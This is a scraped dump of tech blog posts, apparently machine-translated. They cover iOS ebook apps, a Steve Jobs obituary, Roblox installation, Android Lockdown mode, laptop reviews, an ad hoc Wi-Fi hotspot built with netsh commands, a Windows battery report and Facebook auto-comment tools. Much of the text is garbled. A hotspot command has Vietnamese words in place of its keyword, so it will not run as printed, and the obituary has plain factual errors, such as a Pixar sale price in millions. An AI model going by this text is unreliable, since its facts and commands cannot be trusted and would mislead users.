to be designed for OPDS ebook libraries, so copying ePub from Dropbox or other servers is quite complicated. But when you have copied the ebook into the application, Kybook 2 will provide a great reading experience with powerful customization. Users can change how they display books based on CSS and download the TrueType fonts they want. The minimalist yet powerful markup tool makes the reading experience more streamlined and intuitive. It is also smart enough to automatically arrange serial epubs based on metadata.\nHyphen\n  The highlight of Hyphen application is the modern and sleek interface. The app's reader is functional and pleasant. Adding books to the application is quite easy, supporting both integrated OPDS and cloud services. Adjust the screen brightness by sliding your finger, making it extremely easy to set low brightness when reading late at night. Customize almost infinite colors. Users also have a variety of CSS-based display options. Hyphen is also one of the libraries with the largest number of fonts in the ebook reader app for iOS. Markers and annotations are available, but touch settings are available to access advanced features. In particular, annotations can export to HTML files, providing backups for detailed annotations.\nBluefire Reader\n  Bluefire Reader is a pretty good ebook reader application for iOS, with good annotation tools, Dropbox connectivity integration capabilities, attractive reading modes and flexible text display options. It doesn't have advanced features like other applications, but it still appeals to users in simplicity. Users can directly download Adobe DRM ebook with Bluefire.\nThe best step counter app for Android and iOS 6 best note apps for iOS The best iPad drag and drop apps running iOS 11 The best computer applications for iPhone The most popular iPhone apps ncG1vNJzZmismaXArq3KnmWcp51kgm6uxKyrZp2SpLysedGemJ2domKusbzSZp2oql2evam7zZ4%3D\n","link":"/post/5-best-ebook-reader-apps-for-iphone/","section":"post","tags":null,"title":"5 best ebook reader apps for iPhone"},{"body":"The PatentlyApple page has just released a picture demonstrating that Apple has registered a new trademark FaceTime trademark before introducing the iOS 7 platform.\nAccording to PhoneArena on 1.7, since iOS 7 , Apple has reformed the entire interface of features in its platform. In particular, FaceTime is also refreshed and added the ability to call with images to support both 3G and Wi-Fi networks.\n  Evidence shows that Apple went to register the new FaceTime logo copyright.\nUnlike the old FaceTime logo, the FaceTime interface uses blue as the main color and inside is a white video camera that looks simple.\nAn application for registration of Apple's new logo copyright is code 85968558 and has now been submitted to the US Copyright Office ( USPTO ).\nncG1vNJzZmismaXArq3KnmWcp51krrG8y55knKegrr%2Bqs8etnJ1lpJ2ybrrEsGSfmZOawaq5xGajqJ%2Bf\n","link":"/post/apple-copyrighted-the-new-facetime-logo/","section":"post","tags":null,"title":"Apple copyrighted the new FaceTime logo"},{"body":"TipsMake.com - Steve Jobs , co-founder of Apple, who turned the Apple brand into one of the most successful technology companies in the world is now dead.\nJobs has had problems with his health in the past few years. In 2004, he underwent a treatment for pancreatic cancer. Soon after, he returned to work. However, in 2009, it took him another 6 months to cure 'hormonal imbalance', which made him more skinny and pale. Earlier this year, Jobs continued to have health problems and was absent for a period of time. On August 24, he announced his resignation as CEO and left Tim Cook to take over as chairman of the board - Jobs's position until his death.\n  ' We deeply mourn the news that Steve Jobs has passed away today, ' Apple announced yesterday. ' Steve's intelligence, enthusiasm and passion are endless sources of creativity that can help our lives. The world has become much better thanks to Steve '.\nAlone Jobs is known to everyone as a visionary, an independent person or a rather difficult person. This traveler has persistently pursued the development of a separate development path for Apple, which may discourage opponents but allow them to introduce unique products. Jobs also successfully ran Pixar Animation Studios for 20 years before selling it to Disney in 2006 for $ 7.4 million.\n  After returning to Apple in 1996 and working with Jonathan Ive, Jobs has launched a series of products that many admire and follow the design of these products. The iMac computer is a sharp breakthrough compared to the models that dominated the two decades before the iMac came out. Ipod is no less the same when accompanying the iTunes store has changed the music industry. Last but not least, the iPhone and iPad touch screen devices have actually created a new product portfolio.\nAndy Grove, former chairman of Intel's board of directors and CEO, called Jobs the most inspirational leader in Silicon Valley.\nHowever, in many ways, Jobs is also quite a fastidious person. He is a manager with discreet interests that can distract colleagues and partners. In 2000, he punished ATI graphics firm for failing to leak details about the iMac product. The refusal for iPhone to support Flash and his monopoly in the App Store have caused public criticism of Apple for being too closed and narrow.\nHowever, Jobs seems to have a strange ability to anticipate the future trends of computers and consumer electronics. This helped Apple lead the market with indispensable products.\nBusinessman In 1976, Steve Jobs and Steve Wozniak were co-founders of Apple computer company. Jobs's business skills were soon revealed at a young age. In 1968, he and a friend created a \"blue box\" device, allowing users to hide long-distance phone charges and sell to student friends at the University of California, Berkeley. At the age of 20, he was a fan of folk music Joan Baez. He likes to wear casual clothes at work and his favorite musician is Bob Dylan.\n  Wozniak and Jobs became friends after meeting in Hewlett-Packard in 1971. In 1976, they built an Apple I computer in Jobs's parents garage. In 1976, the pair created Apple Computer Co . The company changed its name to Apple Computer Inc. a year later. The second generation of Apple computers, Apple II computers, has been very successful with a record sales of 139 million dollars from 1977 - 1979.\nThe introduction of Apple Macintosh in 1984 introduced a graphical user interface with desktop computers. This Mac computer runs on 32-bit processors (compared to 16-bit processors of other computers at the same time), has 128K bytes of internal memory and can expand up to 192K bytes. It continued to succeed quickly: more than 400,000 Macintosh computers were sold in the first year.\nHowever, Jobs and John Sculley, Apple's president and CEO at the time, had a conflict in the way the company was run in 1985. As a result, Jobs had to leave the company with $ 150 million in assets. and start a new adventure with Next Computer. The company has also been successful, but more importantly, it has laid the foundation for Apple's future hardware and software.\nIn addition to Next Computer, Jobs bought Pixar in 1986 for $ 10 million from George Lucas. Since then, it has created five animated films in the top 5 most successful English films of the time: Monsters, Inc. (2001); Finding Nemo (2003); The Incredibles (2004); Up (2009) and Toy Story 3 (2010). Pixar has also won more than 100 awards and nominations for cartoons.\nReturn to Apple In 1996, Jobs returned to Apple after the company bought Next Computer. He became the interim CEO in 1997 and revived it through financial problems. Jobs brought Apple into the music industry with the iPod in 2001 and with iTunes Music Store two years later. At the same time, he unveiled the PowerMac G5, the first 64-bit desktop computer.\nIn 2005, at the Global Apple Developers Conference, Jobs announced that it would enter the world of Intel processors. A year later, to prove that statement, Apple released the MacBook Pro and iMac. By August, the company had completely switched to Intel chips.\nAt Macworld in early January 2007, Jobs introduced a grandiose about the first generation of iPhone and Apple TV. A month later, the company provided music without DRM (digital rights management) at the iTunes Store.\nHealth problem However, Jobs's health quickly became the focus every time he appeared in public. In 2006, everyone noticed that he was thinner and after a speech at Macworld conference in 2008, Apple was forced to act. They said Jobs had a common disease and had to take antibiotics to treat it. Jobs and others said his health problems were 'not life threatening' and were not related to recurrence of pancreatic cancer.\n  Later that year, Bloomberg posted an accusation of Jobs in an accident (news agencies often have an obituary for well-known elders already written and waiting to be used). Although this story and the cause of death disappeared the following day, it sparked rumors about his health and raised questions about Apple's future without Jobs.\nIn 2003, Steve Jobs was found to suffer from rare pancreatic cancer. A year later, in August 2004, his illness was announced when the CEO had to undergo surgery to remove the tumor. Steve Jobs went through a lot of pain because many health problems arise after this surgery. January earlier this year, Apple announced Jobs would be absent for a while at the company for medical treatment. By the end of August, Jobs had officially left his executive position.\nJobs also underwent a liver transplant surgery in April 2009 during the planned 6-month break. He returned to work for about a year and a half before health forced him to spend more rest time. Last August, when he decided to resign, Steve Jobs told his employees that ' I always said if someday, when I could not meet the duties and expectations in the role. Apple CEO, I will be the first to let you know that. Unfortunately, that day has arrived '.\nYesterday, October 5, 2011, Steve Jobs died, leaving his beloved wife and four children.\nFarewell to Steve Jobs!\nncG1vNJzZmismaXArq3KnmWcp51krrG8y56qZqukmsOmecmomaxllJ6ypXnArWSan5Vignc%3D\n","link":"/post/apple-s-steve-jobs-died-at-age-56/","section":"post","tags":null,"title":"Apple's Steve Jobs died at age 56"},{"body":"Roblox is a massively multiplayer online (MMO) game that lets you play, create, and share games. Roblox is available on Windows, Mac OS X, and iOS and Android devices. This article describes how to install Roblox on these different...\nMethod 1of 4:\nInstalling Roblox on Windows  Download Roblox. Click this link to begin the download.\n  Double click the downloaded file to begin the installation. Follow the instructions in the setup program that opens to install Roblox. Roblox detects your operating systems and sends the correct version for your operating system. It can take a while for Roblox to install. The Roblox installation file installs a Roblox browser plugin, that will let you play Roblox games, and Roblox Studio, a program for designing Roblox games.   Go to the Roblox website to play Roblox games. Go to http://www.roblox.com/games and then click on a game you'd like to play. Click Play. The Roblox game opens in a new window.\n Method 3of 4:\nInstalling Roblox on iOS  Open the App Store app on your iOS device.\n  Touch Search.\n  Type roblox in the search window.\n  Touch GET next to ROBLOX Mobile.\n  Touch INSTALL.\n  Enter your iTunes Store password, and then touch OK. If you have a device with Touch ID, you can use that instead. ROBLOX Mobile downloads and installs.\n  Open the ROBLOX Mobile app, and then touch Games to find and play a game.\n Method 4of 4:\nInstalling Roblox on Android  Go to the Google Play Store on your Android device, .\n  Type roblox in the Search field.\n  Touch Roblox.\n  Touch Install. Roblox downloads and installs.\n  Open the ROBLOX Mobile app, and then touch Games to find and play a game.\n  David Pac Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmqaianKTF\n","link":"/post/how-to-install-roblox/","section":"post","tags":null,"title":"How to Install Roblox"},{"body":"Every Android device has a lock screen and some kind of built-in security feature. For most users, in most cases, that's enough. But what if you want a little more 'premium' security experience? Try enabling a feature called 'Lockdown'. Find out below.\nWhat is \"Lockdown\" mode on Android? There are several security methods you can use to prevent someone from breaking into your Android phone. However, not all of them are equally safe.\nFor example, the face unlock feature on many Android devices is easy to fool. You may also have several Bluetooth devices that unlock your phone. Overall, the most secure Android unlocking methods are using a PIN, pattern, and password.\nFirst introduced on Android 9, Lockdown is basically an additional security feature, allowing users to quickly hide all notifications on the lock screen, turn off fingerprint, face, Smart unlock Lock or other smart authentication options.\nIn other words, when you put your phone into 'Lockdown' state, all unlocking methods that are deemed less secure will be disabled simultaneously. You will only be able to use your PIN, pattern, and password. This is useful in case you need to quickly secure your device. With just a few simple taps, you can add an extra layer of security.\nEnable 'Lockdown' mode on Android phones The Lockdown feature is available on devices running Android 9 and up. It should be noted that due to the variety of Android customizations, there will be slight differences in the title of the settings items depending on the customization. However, the basic setup operations will still be similar. The instructions below were performed on a Pixel device running pure Android.\nFirst, you access the Settings menu by tapping the gear icon on the main screen.\nOn the Settings menu that appears, click on the ' Lock Screen ' item.\n  Now, go to ' Secure Lock Settings '.\n\u0026nbsp;\n  After entering the lock method, you will see some toggle buttons. Enable the option titled ' Show Lockdown Option '.\n  The Lockdown option should now be available in the power menu.\nHow to use Lockdown feature on Android To use Lockdown, simply open the power menu on your phone by holding down the power button.\n  On the menu that appears, click \" Lockdown \".\n  The phone will lock immediately and you will only be able to use your PIN, pattern, and password to unlock the device. It's all as simple as that!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqtu8Kkm6ivnmK6sLDEZqanZZGjsbO7yJ0%3D\n","link":"/post/how-to-use-lockdown-mode-on-android/","section":"post","tags":null,"title":"How to use 'Lockdown' mode on Android"},{"body":"Lenovo has just released the IdeaPad U450p, a 14-inch laptop with a slim, light design, priced at under $ 800.\n  IdeaPad U450p has a slim design. Photo: Ubergizmo .\nThe trend of thin and light laptops, using cheap processors appears more and more, most recently Dell launched the Inspiron Z, previously the Acer Timeline or MSI's X-Slim.\nIdeaPad U450p runs on Intel Pentium SU2700 1.3 GHz processor or 1.4 GHz Core 2 Solo SU3500, integrated Intel 4500MHD graphics card. It has 4 GB RAM, 320 GB hard drive and 6 cell battery and DVD burner attached. 14-inch screen of U450p equipped with LED backlight technology, better power saving, resolution of 1366 x 768 pixels, above the 1.3 Megapixel camera. It comes with a stereo, microphone speaker, support for Dolby Home Sound Room audio systems, Wi-Fi connectivity, 3 USB ports, HDMI and VGA output. IdeaPad U450p uses Windows Vista Home Premium operating system, starting price of 799 USD.\nncG1vNJzZmismaXArq3KnmWcp51ktqWxwKmYnWWlaYJxvIylnKenpqTAbrjIoJ%2Btr5WetKnAjKWYqayfpQ%3D%3D\n","link":"/post/ideapad-u450p-lenovo-s-lightweight-laptop/","section":"post","tags":null,"title":"IdeaPad U450p - Lenovo's lightweight laptop"},{"body":"Creating ad hoc wireless networks is simple and easy, it will take you less than a minute to create ad hoc wireless networks on your laptop. But before doing WiFi sharing with ad hoc, you should know what this ad hoc wireless network feature is and which laptop can create ad hoc?\nIn this tutorial, we will introduce you to a basic understanding of ad hoc wireless networks, the conditions for creating ad hoc networks and how to create an Ad hoc wireless network via the command line interface on Windows 10, Windows 8 / 8.1, Windows 7 or create directly on the Windows 7 settings, please watch it.\nWireless ad hoc network on Window What is ad hoc wireless network? Conditions for creating ad hoc networks on Windows Create ad hoc networks on Windows 10 and Windows 8.1 / 8 Create ad hoc network on Windows 7 Note when using ad hoc network What is ad hoc wireless network? Ad hoc wireless networks (Wireless ad hoc network - WANET or Mobile ad hoc network - MANET) is a distributed wireless network. The term ad hoc implies that this network is not based on pre-existing infrastructure such as wired routers or random access points in managed wireless networks. Instead, each device (node) participates in network routing by relaying data to another node, so deciding which node forwards data is done automatically based on network connection and jargon. Routing math is used.\nIn Windows, ad-hoc is a communication mode that allows computers to directly communicate with each other without a router. Because the ad hoc network setup steps are simple, there is no need for infrastructure settings so it helps devices create and join networks quickly, anytime, anywhere.\nEnd users are familiar with Wifi networks and routers are not familiar with ad hoc. However, ad hoc is being used quite a lot in new wireless technologies. For example, MANET helps mobile devices communicate directly with each other, the vehicle ad hoc network (vehicular ad hoc network) helps in setting up communication devices in cars. Both examples of these ad hoc networks use multiple individual devices to communicate freely with each other without the need for top-down or complex hierarchical communication.\nConditions for creating ad hoc networks on Windows Not a computer, any laptop can play wifi without software by creating an ad hoc network . Computer, laptop need Wifi card and Wifi card must support Wifi. Saying that is ambiguous, just copy the following command, open Command Prompt and paste it into:\n netsh wlan show drivers  This command will display information that tells you if your computer can create a Wifi hotspot. In the returned result, look for Hosted network supported , if no , you cannot create ad hoc, if Yes , then follow these steps to create ad hoc wireless network.\nCreate ad hoc networks on Windows 10 and Windows 8.1 / 8/7 With the latest Windows 10 versions, you can use the built-in Mobile Hotspot feature in Windows 10 to create Wifi hotspots with just a few mouse clicks without using the wifi or ad hoc generation software. If your Windows does not yet have the above feature, create the ad hoc network using the following steps:\nOpen Command Prompt with admin rights Enter the following command and press Enter:  netsh wlan set hostednetwork mode = cho phép ssid = maketecheasier key = password  Inside:\nmaketechasier is the name you set for your Wi-Fi hotspot. The password is the password that accesses the Wi-Fi hotspot and must have at least 8 characters.   Wait a moment for Windows to set up hosted network mode, when the command prompt appears above, enter the following command to activate the ad hoc network and press Enter:  netsh wlan start hostednetwork    After finishing the above command, the Wi-Fi hotspot on your Windows 10 device will be activated and the device can start accessing this hotspot. To check the connection status in the network, go to Control Panel and select Network and Internet \u0026gt; Network and Sharing Center \u0026gt; on the left hand side select Change adapter settings \u0026gt; right click on the created ad hoc network, select Properties.\n  Click the Sharing tab\u0026gt; Choose Allow other network users to connect through this computer's internet connection \u0026gt; OK .\n  You can now connect your device to this Wi-Fi hotspot from a device running Windows 10 without using third-party tools. The continuous broadcast of Wi-Fi if used on tablet models, laptops or smartphones running Windows 10 will consume battery quickly, so when you do not need to use it, you can turn off this ad hoc network by the command:\n netsh wlan stop hostednetwork  Create an ad hoc network on the installation of Windows 7 In addition to using the command line interface as on Windows 10, Windows 8 / 8.1, you can also use the settings on Windows 7 to set up ad hoc network, including 3 parts: creating ad-hoc wireless network, connecting The computers come together and share the necessary documents through the newly created network.\nStep 1: Create an ad-hoc wireless network\nFirst, open the Network and Sharing Center , click the Set up a new connection or network link\n  Set Up a Connection or Network will be opened, you can through it to configure all types of connections, from normal network connection to corporate virtual private network connection or ad-hoc connection ( connect from computer to computer). From the network selection list, select Set up a wireless ad hoc (computer-to-computer) network , then click Next\n  You see a new window that describes everything you can do on a wireless ad-hoc network. Read the contents of this window or skip it and click Next\n  This step will be the network setup window. First you need to enter the network name and then the type of security you want to use. For more security for your network, you should use the Security type, WPA2-Personal , which provides better encryption and is more difficult to crack than WEP security. Finally, enter the network login password, after making sure the Save this network box is selected, click Next\n  Once the options are available, the new network will be created, the creation process will take about a few seconds.\n  At the last window, you will receive a notification that the new network has been created and it is ready for use. Don't forget to remember the network password and then click Close\n  Your computer can now play WiFi, other devices can only connect to it.\n  Step 2: Connect computers to the network \n This step will show you how to connect other computers to the network you just created. On another computer that needs to be connected, click on the network icon at the bottom of the Taskbar, you will see a list of display networks. Select the ad-hoc network you just created above and click Connect .\n  You will receive a password entry. Enter the password as required and click OK .\n  Windows 7 will take a few seconds to connect to the network\n  After the connection process is complete, you can start the process of using this network.\nStep 3: Share files and folders in the network After setting up an ad-hoc network and connecting clients to the network, one of the features to be exploited is file sharing, network exploitation . to work. However, after a client is connected, it will take a few seconds to confirm the network. When this happens, the Network and Sharing Center window will display as follows:\n  After the network is verified, Windows 7 will assign it to a common network profile. This means that you cannot share anything. Another problem is the fact that you cannot change the assigned network profile.\n  That means you must manually change the network sharing settings for the general network profile by clicking Change advanced sharing settings \u0026gt; Manage advanced sharing settings \u0026gt; Advanced sharing settings and change the settings accordingly.\n  Important : After disconnecting from the ad-hoc network, you must remember to restore the sharing settings in the public network. If you leave those settings in place, your next network connection will cause data to remain in a shared state and that is not secure .\nInternet connection sharing:\nTo share the Internet connection with the devices connected to this ad hoc network, click on the WiFi icon on the taskbar, right-click on the newly created ad hoc network, select Properties\u0026gt; select the Sharing tab\u0026gt; and click on Allow Other Network Computers kết nối qua internet connection của này\u0026gt; OK.\n  \nNote when using ad hoc network In case you forgot the password and the name of the WiFi network you created, enter the following command to review:  netsh wlan show hostednetwork  If you want to stop playing WiFi from your laptop, enter the command:  netsh wlan stop hostednetwork  If you want to cancel the WiFi network you created, enter the command:  netsh wlan set hostednetwork mode=disallow ssid= key=  Once you have canceled the WiFi network, you will have to repeat steps 1 to 5 to recreate the WiFi ad hoc network. On some versions of Windows 10, you can perform ad hoc creation commands in Windows PowerShell (Admin) instead of cmd (admin) . This useful feature is used when you need to connect to share data quickly and conveniently, without requiring an external connection device at all. This way of connection is also used to share an Internet network while not using wi-fi modem to signal to multiple devices. In addition, you can also use WiFi playback software on your computer such as Connectify Hotspot, MyPubicWiFi, Wi-Host to share your network connection, they are all free.\nSee more:\nHow to check who is using Wifi temple, your home WiFi theft Learn about Decibel (dB) in computer networks ncG1vNJzZmismaXArq3KnmWcp51kwKbAjK6nZpmUYrWwr4ywoKudnJrAtHnNnquwp6KgerW7jKmjmrFdrLantYywoK2gn6rBbr%2FOn6uwmaKaeqe%2BzqZksqelp3qtrc%2Btpqk%3D\n","link":"/post/set-up-ad-hoc-wireless-network-to-play-wifi-without-software-from-your-laptop/","section":"post","tags":null,"title":"Set up Ad Hoc wireless network to play WiFi without software from your laptop"},{"body":"The actual battery life specifications announced by laptop manufacturers may vary, or even differ. However, there are a few ways you can accurately measure your laptop's battery life.\nLaptop configuration settings Before proceeding, let's review the configuration of the current laptop. You can change the default settings to suit your usage habits.\n  In Windows 7 and up, the tool here is Power Options.\nStep 1: Right-click on the Battery icon next to System Clock.\nStep 2: Select Power Options on the pop-up menu.\nAlternatively, you can also find it by following the following path: Control Panel\u0026gt; Hardware and Sound\u0026gt; Power Options.\n  Step 3: When the Power Options window opens, you will see two default profiles - Balanced and Power Saver. Click Change Plan Settings next to either of the settings to adjust, or click Create a Power Plan on the left to create a new profile.\nHere you can install as you like. Some options like how long after the screen turns off automatically (when plugged in and unplugged) or when the machine goes into sleep mode after inactivity.\n  Step 4: If you want more customization, click the blue Change Advanced Power Settings link. Here, you can change the background settings and choose how your laptop sleeps based on your daily actions, such as closing the lid.\n  Step 5: After making the change, you should head over to the Battery section at the bottom, where you can select multiple alerts to know about the battery status - which can be very helpful when it comes to monitoring the battery health and you. they can always be turned off later.\nStep 6: When done, tap OK .\nHow to perform manual laptop battery life test Of course, the easiest way to measure laptop battery life is to calculate the time when you use it. The easiest is to use a stopwatch or a stopwatch app. For the most accurate results, use your laptop according to your daily routine. You can test in a variety of conditions, such as when watching videos or playing games continuously. If you do not want the device to go into sleep mode, set the settings in Put the computer to sleep in Edit Plan Settings to Never.\nHow to access information about laptop battery life Windows 8 and Windows 10 have built-in battery meter that most users don't know. This utility provides you with data on the exact time when the machine was operating at full capacity and when the machine was turned off. To run the report, you will need to open Command Prompt or Windows PowerShell as administrator.\nStep 1: Type 'cmd' into the Windows search bar.\nStep 2: Right-click on the Command Prompt listed in the results and select Run as Administrator on the pop-up menu. Alternatively, you can right-click the Start button and select Windows PowerShell (Admin) on the Power User menu.\nStep 3: Enter the following command correctly and press the Enter key:\npowercfg / batteryreport / output 'C: battery-report.html'\nNote: you don't necessarily need the / output part of the command; it just prevents you from searching for the default Windows / System32 folder for results.\nStep 4: Click the Folder icon on the taskbar to open File Explorer. It will open for My PC.\nStep 5: Based on the command provided above, double-click the battery-report.html file stored on the 'C' drive to open the result in your default browser.\nIt tells you all kinds of important hardware information about laptop batteries. You can go through a lot of data here, but what you need to care about is Recent usage.\nThis data provides an accurate record of your battery level and how long it was recorded, including making a new entry whenever your power cord is attached, when the computer is turned off or on. sleep mode.\nYou can use this method to accurately record the battery level of the device whenever you want - it's pretty handy. To get accurate overall results, take some tests and calculate an average.\nHow to monitor battery status   Over time, your laptop battery will start to bottle off. Knowing the battery bottle level is an essential part. In addition to the general battery power measurement, you can check the Capacity section. It will display the correct display power milliwatt-hour (mWh) values ​​at different percentages.\nCompare these values ​​with the official capacity in the manufacturer's specifications. This check indicates whether you need to replace the battery of the machine.\nPower Options ncG1vNJzZmismaXArq3KnmWcp51kwKq5z6WcZqyinrCsedOoZKSmn6x6qbvWZqOoppdiuaK806inrGWclsC1ecCfq56qXZqupLSMnJ%2Baqpea\n","link":"/post/simple-trick-to-know-how-long-laptops-last-after-each-charge/","section":"post","tags":null,"title":"Simple trick to know how long laptops last after each charge"},{"body":"MediaTek is the first choice for manufacturers who want to offer cheap smartphones. Companies like Huawei, Alcatel, Lenovo, Acer, Vivo, Xolo and OPPO all use MediaTek processors for their devices.\n  Xperia T3, Sony's new smartphone\nMediaTek is trying to expand its customer list, some of the big names of the smartphone industry, like Sony, have also joined this list. Earlier, Sony used MediaTek's quad-core MT6589 processor for Xperia C smartphones.\nAccording to sources from Taiwan, Sony is planning to provide at least five MediaTek-based smartphones in 2015. A few, or all these smartphones will support 4G connectivity, so they will are mid-range or high-end smartphones.\nSmartphone manufacturers are competing fiercely about product prices, in the future we may see many big names in the smartphone industry using MediaTek processors. In addition, next year we can also see soft, high-profile, high-priced smartphones from Sony.\nncG1vNJzZmismaXArq3KnmWcp51kwLC62GauoqScYsK0sYymnJ2hkamyrHnPq6acnaOovLN5xaipZqCZnLWmusNmqqaZoqm9qbvNnqo%3D\n","link":"/post/sony-will-use-mediatek-processor-for-high-end-smartphones/","section":"post","tags":null,"title":"Sony will use MediaTek processor for high-end smartphones"},{"body":"The hard drive is one of the extremely important components on any PC system, and the Mac is no exception. Any problems or failures related to the hard drive will cause your computer to stop working completely. Therefore, it is extremely necessary to regularly check and monitor the 'health' of the hard drive.\nThis article will show you some effective methods to check the health of SSD drives on your Mac.\nCheck SSD status with SMART Status System Reports Self-Monitoring, Analysis and Reporting Technology (SMART) is an automated testing system for SSDs and other traditional hard drives. By checking the SMART index, you can get an overview of the current status of the hard drive, thereby making the appropriate treatment plan. macOS has a built-in tool that monitors the SMART status of all hard drives on the system by default. In addition, there will also be a number of tools to help you analyze this state with different levels of detail.\nThe process of checking SSD health on macOS is generally very simple and fast. You just need to follow these steps:\nStep 1. Click the Apple icon in the top left corner of the screen (in the toolbar), then hold down the Option key. You should see the 'About this Mac' section change to 'System Information'.\n  Step 2. When the 'System Information' screen opens, look for the Storage section in the Hardware section on the left side of the screen.\n  Step 3. Next, select the drive that you want to check from the list on the right side.\n  Step 4. You will find the SMART status at the bottom of the list on the right (usually the last item in the list).\n  The 'Verified' status you see in this example indicates that the device's hard drive is currently in a working state, with no reported problems. Conversely, a status showing 'Failing' indicates that the hard drive is showing signs of abnormal activity, and may soon enter the 'Fatal' state, which means that the hard drive has failed.\nIn addition, SMART's numerical error code system will also provide you with more information about the specific problem that the hard drive is experiencing.\nCheck SSD health with DriveDx If you feel that the built-in hard drive testing tool gives a bit of sketchy information, use specialized third-party hard drive monitoring applications, such as DriveDx.\nThis is a hard drive health diagnostic tool that can give you the most detailed view of your SSD's health. This application can scan all connected drives on the system and provide a complete picture of the health of your storage system.\nDownload DriveDx and install it on your Mac like any other regular application.\n  While the DriveDx application is open, the application continuously monitors the SMART status to identify any abnormalities or problems that appear on the hard drive in real time. All relevant information will be displayed in an extremely intuitive and easy-to-understand manner.\nhard drive ssd ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddmLWmr8pmqqycXajBosDUrGSopl2irqS70g%3D%3D\n","link":"/post/steps-to-check-ssd-status-on-macos/","section":"post","tags":null,"title":"Steps to check SSD status on macOS"},{"body":"Facebook is now not only a space for exchanges and entertainment but has become a means to promote products, buy and sell products. With the Facebook Fanpage sales, Facebook interface is set up a lot of support features, in order to increase interaction with customers such as setting up automatic message replies on Fanpage. However, just using this feature is not enough, but currently you can auto like, comment on Facebook with some specialized software.\nThe following article will summarize some software that automatically send Facebook messages, likes, comments to readers for reference.\nTop software auto like, text, comment Fb 1. Facebook Fplus software https://plus24h.com/ Facebook Fplus provides you with many useful features to manage Facebook business and sales. With Facebook Fplus you can:\nPost to the group: articles, albums, statu, products into the sales group . Support your friends: share photos, articles . on your friends' walls, interact with friends, automatically confirm making friends . Page management: share articles from other pages to the page you manage, share photos, posts to other pages, invite your friends like your page. Comment: automatically comment posted, automatically comment on posts friends . Send message: send message by group member list, send message by page to person who has inbox page, comment page . There are also many other features that the software supports you when we manage our page.\n  2. Software Puziness\nhttps://puziness.com/ Puziness software not only sales and marketing but also helps you manage sales orders and manage staff. The software will manage all comments and messages in 1 window for you to manage. All comments containing customer phone numbers are automatically hidden.\nIn addition, with Puziness, the comments or messages are automatically answered when you have not responded to the customer. Customers in Fanpage will automatically receive ads that have established Puziness that we do not need to pay any extra fees.\n3. Simple Account software\nhttps://atpsoftware.vn/simple-account When using Simple Account, you do not need to spend too much time and personnel to operate and manage your Facebook account. You can schedule automatic comment, like, join the group, or post to the group. This helps us interact better. You can also set up comment types for automatic answering software. Or users choose to schedule posting time by content, avoid cases of Facebook spamming posts or blocking the posting feature. Overall, Simple Account is a Facebook solution that manages sales effectively, reliably and is very safe to use.\n  4. Fanpage Ninja software\nhttps://www.phanmemninja.com/ The software helps you manage and connect multiple Fanpage at the same time, easily handle comments or messages in the same window. All messages and comments on Fanpage are grouped. This helps us track more, increase interaction with our customers. Comments with phone numbers will be hidden to avoid revealing customer information. In addition, messages or comments are automatically answered.\n5. Facebook Sniper software\nhttps://phanmemsniper.com/ Facebook Sniper brings together different software according to each customer's needs to use. For example, with Sniper Seeding Facebook, the software will automatically like, comment on sales posts, increase the ability of latching effectively, Sniper Nurture Facebook manages a large, professional, Facebook account, sales support . Each The software brings certain efficiency in managing Facebook or Fanpage, saving time and personnel for implementation.\n  ncG1vNJzZmismaXArq3KnmWcp51kwbC8jKymn6ynlr%2BmedOoZJqtpKS6osDInJilpKliwKa6w2aknqujlrSmv4yloKSdXZi8rrnEp6tmnpGYsqO7zqQ%3D\n","link":"/post/top-software-to-automatically-send-messages-like-comment-facebook/","section":"post","tags":null,"title":"Top software to automatically send messages, like, comment Facebook"},{"body":"Toshiba's laptop attracts users thanks to its fancy design while hardware configuration is also quite good . Toshiba Satellite E200 is a laptop that is highly portable with a light weight of only 2.24 kg even though the screen is up to 14 inches and easy to carry. In addition, the model also impresses users with a fancy design and equipped with good hardware configuration.\n  Satellite E200 has an attractive design.\nToshiba Satellite E200 owns 14-inch LED backlight screen with resolution of 1,366 x 768 pixels with WXGA standard, 16: 9 ratio. The test version is configured with 2.4 GHz Intel Core i5-520m processor, 4GB DDR3 RAM memory, NVIDIA GeForce G310M graphics card with 512MB VRAM, 500GB hard drive and read / optical drive Burn DVD with LabelFlash disc label printing technology.\nThe device measures 348.5 x 243.2 x 30.5-30.9 mm, weighs 2.24 kg with the included 6 cell battery (2.4 kg including Adapter) and comes pre-installed. Windows 7 Home Premium (64bit). Satellite E200 has started selling in Vietnam with reference price of VND 26,860,000. General assessment\nAdvantages - Beautiful design - Good hardware with Core i5 processor and discrete graphics card. - Handy light sensor - Backlit keyboard - Hard drive shockproof Disadvantages - No Express Card slot - No controls for entertainment. - High price. - Easy to stick fingerprints. - Heat dissipation is not good Part 1: Design, keyboard, sound Design\n  The machine has a glossy plastic case and a large black plastic connector on the back.\nMost impressive at Toshiba Satellite E200 is in design. This model possesses elegant curves at all edges suitable for female users. The connecting edge of the big black plastic machine behind is also the place to store the connectors and make sure every time you open or close the screen.\nSatellite E200 measures 348.5 x 243.2 x 30.5-30.9 mm, weighs 2.24 kg with 6 cell battery included (2.4 kg including Adapter). The upper case and the armrest are all made of glossy plastic and still sink nicely but are quite easy to stick fingerprints.\nThe device has a full range of connection ports but is limited in the number of USB ports. On the left side is the USB port and headphone jack, microphone. Meanwhile, on the right side of the device include HDMI port, eSATA / USB combo, USB and optical drive to swallow the disc. The rear hinge part is LAN, VGA and power jack.\nKeyboard, touchpad The keyboard of E200 has a traditional and typical design of Toshiba. The distance of the keys is wide, the bounce is good for comfort and is easy to get used to. In addition, with the backlit system, the E200 can still be used well in the night with this keyboard.\n  E200 keyboard is quite good.\nBecause there is only a 14-inch screen, this model does not have a side number film table but instead is a series of multimedia touch shortcuts on the right. However, when manipulating, sometimes the user still accidentally touches the key sequence is quite inconvenient.\nAlthough the size is quite small, the operation of the E200 touchpad is still very accurate and sensitive even for multi-touch features. However, the two mouse buttons still feel a bit heavy when used.\nPart 2: Screen, performance Screen Toshiba Satellite E200 is equipped with Clear SuperView technology screen with 14-inch LED backlight with a resolution of 1,366 x 768 pixels WXGA standard, 16: 9 ratio. The screen is very good with a sharp image in the right color even though it is slightly darkened. The phenomenon of shadow still occurs and is the disadvantage of most laptops today when viewing dark scenes or images. The most interesting point in the E200 is the ability to manually increase and decrease the screen brightness thanks to the light sensor on the machine. When used outdoors, the brightness of the device is maximized to minimize the possibility of being difficult to follow. 